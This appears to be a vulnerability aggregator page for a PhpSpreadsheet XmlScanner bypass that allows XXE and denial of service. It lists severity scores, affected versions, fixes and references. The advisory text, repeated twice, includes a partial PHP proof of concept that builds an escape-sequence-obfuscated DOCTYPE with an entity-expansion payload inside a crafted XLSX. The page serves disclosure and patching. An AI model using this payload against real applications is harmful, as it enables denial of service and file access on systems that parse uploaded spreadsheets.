CVE-2026-108358
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
- Record
CVE-2026-108358- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N - Weakness
- CWE-611, CWE-776
- Updated
- 2026-11-02
EUVDEUVD-2026-108265
8.8
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
- Record
EUVD-2026-108265- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3x94-m842-937c
8.8
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
Summary
PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.
Details
The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.
The scanner builds a regex pattern /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.
The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexml_load_string(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.
Seven ISO-2022 encoding variants bypass the scanner:
- ISO-2022-JP (
ESC ( B) - ISO-2022-JP-2 (
ESC $ B) - ISO-2022-KR (
ESC $ ) C) - ISO-2022-CN (
ESC $ ) A) - ISO-2022-CN-EXT (
ESC $ ) G) - ISO-2022-JP-2004 (
ESC $ ( Q) - ISO-2022-JP-MS (
ESC & @ ESC $ B)
Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.
PoC
Save the following as poc_iso2022.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)
$esc = "\x1b\x28\x42";
// Build <!DOCTYPE with ESC bytes between each character
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";
// Internal entity for DoS (works on ALL PHP versions)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
. $doctype . ' sst [' . "\n"
. ' <!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
. '<si><t>' . $refs . '</t></si></sst>';
// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
'<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
.'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
.'<Default Extension="xml" ContentType="application/xml"/>'
.'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
.'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
.'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
.'</Types>');
$xlsx->addFromString('_rels/.rels',
'<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
.'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
.'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
'<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
…
- Record
GHSA-3x94-m842-937c- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N - Weakness
- CWE-611, CWE-776
- Updated
- 2026-11-02
NVD
8.8
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
- Record
CVE-2026-108358- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-611, CWE-776
- Updated
- 2026-11-02
OSV
8.8
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
- Record
CVE-2026-108358- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N - Weakness
- CWE-611, CWE-776
- Updated
- 2026-11-02
OSVGHSA-3x94-m842-937c
8.8
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
Summary
PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.
Details
The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.
The scanner builds a regex pattern /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.
The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexml_load_string(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.
Seven ISO-2022 encoding variants bypass the scanner:
- ISO-2022-JP (
ESC ( B) - ISO-2022-JP-2 (
ESC $ B) - ISO-2022-KR (
ESC $ ) C) - ISO-2022-CN (
ESC $ ) A) - ISO-2022-CN-EXT (
ESC $ ) G) - ISO-2022-JP-2004 (
ESC $ ( Q) - ISO-2022-JP-MS (
ESC & @ ESC $ B)
Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.
PoC
Save the following as poc_iso2022.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)
$esc = "\x1b\x28\x42";
// Build <!DOCTYPE with ESC bytes between each character
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";
// Internal entity for DoS (works on ALL PHP versions)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
. $doctype . ' sst [' . "\n"
. ' <!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
. '<si><t>' . $refs . '</t></si></sst>';
// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
'<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
.'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
.'<Default Extension="xml" ContentType="application/xml"/>'
.'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
.'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
.'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
.'</Types>');
$xlsx->addFromString('_rels/.rels',
'<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
.'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
.'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
'<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
…
- Record
GHSA-3x94-m842-937c- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N - Weakness
- CWE-611, CWE-776
- Updated
- 2026-11-02
OSVCLSA-2026-1793283095 No score
TuxCare security update for phpoffice/phpspreadsheet (1 CVE)
TuxCare rebuilt phpoffice/phpspreadsheet to address 1 CVE. Fixed in 4.5.0-p4+tuxcare.
- Record
CLSA-2026-1793283095- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
phpoffice/phpspreadsheetPackagist |
4.0.0 to 5.9.0 | 5.10.0 |
phpoffice/phpspreadsheetPackagist |
3.3.0 to 3.10.7 | 3.10.8 |
phpoffice/phpspreadsheetPackagist |
2.2.0 to 2.4.7 | 2.4.8 |
phpoffice/phpspreadsheetPackagist |
2.0.0 to 2.1.18 | 2.1.19 |
phpoffice/phpspreadsheetPackagist |
through 1.30.6 | 1.30.7 |
phpoffice/phpspreadsheetTuxCare:Packagist |
4.5.0 up to 4.5.0-p4+tuxcare, plus listed versions 4.5.0-p1+tuxcare4.5.0-p2+tuxcare4.5.0-p3+tuxcare |
4.5.0-p4+tuxcare |
phpoffice/phpspreadsheetPackagist |
4.0.0 up to 5.10.0, plus listed versions 4.1.04.2.04.3.04.3.14.4.0 Show 12 moreShow less4.5.05.0.05.1.05.2.05.3.05.4.05.5.05.6.05.7.05.8.05.8.15.9.0 |
5.10.0 |
phpoffice/phpspreadsheetPackagist |
3.3.0 up to 3.10.8, plus listed versions 3.10.03.10.13.10.23.10.33.10.4 Show 12 moreShow less3.10.53.10.63.10.73.4.03.5.03.6.03.7.03.8.03.9.03.9.13.9.23.9.3 |
3.10.8 |
phpoffice/phpspreadsheetPackagist |
2.2.0 up to 2.4.8, plus listed versions 2.2.12.2.22.3.02.3.102.3.2 Show 15 moreShow less2.3.32.3.42.3.52.3.62.3.72.3.82.3.92.4.02.4.12.4.22.4.32.4.42.4.52.4.62.4.7 |
2.4.8 |
phpoffice/phpspreadsheetPackagist |
2.0.0 up to 2.1.19, plus listed versions 2.1.02.1.12.1.102.1.112.1.12 Show 13 moreShow less2.1.132.1.142.1.152.1.162.1.172.1.182.1.32.1.42.1.52.1.62.1.72.1.82.1.9 |
2.1.19 |
phpoffice/phpspreadsheetPackagist |
before 1.30.7, plus listed versions 1.0.01.0.0-beta1.0.0-beta21.1.01.10.0 Show 45 moreShow less1.10.11.11.01.12.01.13.01.14.01.14.11.15.01.16.01.17.01.17.11.18.01.19.01.2.01.2.11.20.01.21.01.22.01.23.01.24.01.24.11.25.01.25.11.25.21.26.01.27.01.27.11.28.01.29.01.29.11.29.101.29.111.29.121.29.21.29.41.29.51.29.61.29.71.29.81.29.91.3.01.3.11.30.01.30.11.30.21.30.3 |
1.30.7 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-108358 is a high vulnerability (CVSS 8.8) in Phpoffice Phpspreadsheet, published October 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.62%, the 50th percentile. Fixed in phpoffice/phpspreadsheet 5.10.0.
References
github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-3x94-m842-937c
github.com/PHPOffice/PhpSpreadsheet/commit/299993894dce37aa3b64aa23e9a3f4bb77ab0e66
github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781
github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738
github.com/PHPOffice/PhpSpreadsheet/commit/9a0b48622ebfe93fa48cb9bc09ce57303bb07af9
github.com/PHPOffice/PhpSpreadsheet/commit/da13f40e8760d599b0e8a296017d4b028b20e86c
Show 9 moreShow less
github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.7
github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.19
github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.8
github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8
github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0
nvd.nist.gov/vuln/detail/CVE-2026-108358
github.com/advisories/GHSA-3x94-m842-937c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/108xxx/CVE-2026-108358.json
github.com/PHPOffice/PhpSpreadsheet
Left out here: 14 versions and the rest of 2 source descriptions. The JSON record has them.